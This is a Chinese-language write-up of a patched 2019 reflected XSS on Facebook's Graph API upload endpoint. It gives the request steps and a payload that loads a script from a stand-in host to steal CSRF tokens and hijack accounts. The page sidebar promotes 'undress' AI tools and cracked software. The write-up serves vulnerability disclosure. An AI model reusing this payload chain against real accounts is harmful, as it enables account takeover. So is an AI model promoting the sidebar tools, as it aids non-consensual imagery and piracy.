漏洞狀況
漏洞只在IE和Edge瀏覽器中有效,漏洞原因在於graph.facebook.com
中的某些API端點,在處理HTML程式碼回應時未實作完善安全的轉義措施。回應訊息存在於JSON格式中,HTML程式碼被當作其中一個欄位的值也包含在內,而且回應訊息不附帶Content-Type 或X-Content-Type-Options頭,這樣我就能有機會在IE/Edge中構造程式碼執行了。
(這兩類瀏覽器會掃描整個頁面確定MIME文件類型,而其它瀏覽器只檢查前幾個字元)。
漏洞復現
1、首先,我們傳送以下上傳方式的POST請求:
POST /app/uploadsHost: graph.facebook.com access_token=ACCESS_TOKEN&file_length=100&file_type=PAYLOAD
其中的ACCESS_TOKEN
#是由Facebook for Android的第一方應用程式產生的有效用戶存取令牌,PAYLOAD則是我們想插入的HTML程式碼,用於後續引誘受害者在瀏覽器中執行。當提交請求後,遠端服務端會傳回一個類似如下的值,其中包含一個後續會用到的會話ID(具體請參考Facebook官方說明):
{"id": "upload:MTphdHRhY2htZW50Ojlk2mJiZxUwLWV6MDUtNDIwMy05yTA3LWQ4ZDPmZGFkNTM0NT8=?sig=ARZqkGCA_uQMxC8nHKI"}
經測試發現,其回應訊息中沒有內容安全策略(CSP)限制,所以,我想到了能不能用一個包含外部連結的js檔案來插入HTML程式碼,例如:
<html><body><script src=//DOMAIN.com/script.js ></script></body></html>
2、這裡的上傳請求被Facebook後端做了Base64編碼處理,回傳顯示如下,其中包含了我們特意植入的Payload:
upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48 Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s
所以,用該編碼串之後就會有如下請求,用它可以向Facebook發起POST請求:
https://graph.facebook.com/upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD 0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?s ig=ARaCDqLfwoeI8V3s
3、由此,利用上述請求串,我向其中加入我在步驟1中產生的有效access_token,建構了一個HTML網頁放到了我的網站中:
#該頁麵包含了一個提交樣式,受害者訪問之後的回應訊息如下:
{“h”:”2::<html><body><script src=//DOMAIN.com/script.js ></script></body></html>:GVo0nVVSEBm2kCDZXKFCdFSlCSZjbugb AAAP:e:1571103112:REDACATED:REDACATED:ARCvdJWLVDpBjUAZzrg”}
重要的是,https://DOMAIN.com/script.js
中的腳本文件將幫助我竊取受害者的“fb_dtsg” CSRF token,並且可向https://www.facebook.com/api/graphql/
發送一個添加手機號碼或郵箱地址的綁定請求,實現間接的受害者帳號劫持。
漏洞修復
1、在file_type参数中加入对HTML代码处理的安全转义措施; 2、给每个响应中加入“Content-type: application/json” 头避免进一步的攻击。 漏洞上报及处理进程 2019.10.10 漏洞初报 2019.10.10 Facebook确认 2019.10.11 Facebook修复 2019.10.24 Facebook奖励5000$
相關文章教學推薦:網站安全教學
以上是利用反射型XSS漏洞劫持Facebook帳戶的詳細內容。更多資訊請關注PHP中文網其他相關文章!

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

SAP NetWeaver Server Adapter for Eclipse
將Eclipse與SAP NetWeaver應用伺服器整合。

記事本++7.3.1
好用且免費的程式碼編輯器

EditPlus 中文破解版
體積小,語法高亮,不支援程式碼提示功能

MinGW - Minimalist GNU for Windows
這個專案正在遷移到osdn.net/projects/mingw的過程中,你可以繼續在那裡關注我們。 MinGW:GNU編譯器集合(GCC)的本機Windows移植版本,可自由分發的導入函式庫和用於建置本機Windows應用程式的頭檔;包括對MSVC執行時間的擴展,以支援C99功能。 MinGW的所有軟體都可以在64位元Windows平台上運作。

ZendStudio 13.5.1 Mac
強大的PHP整合開發環境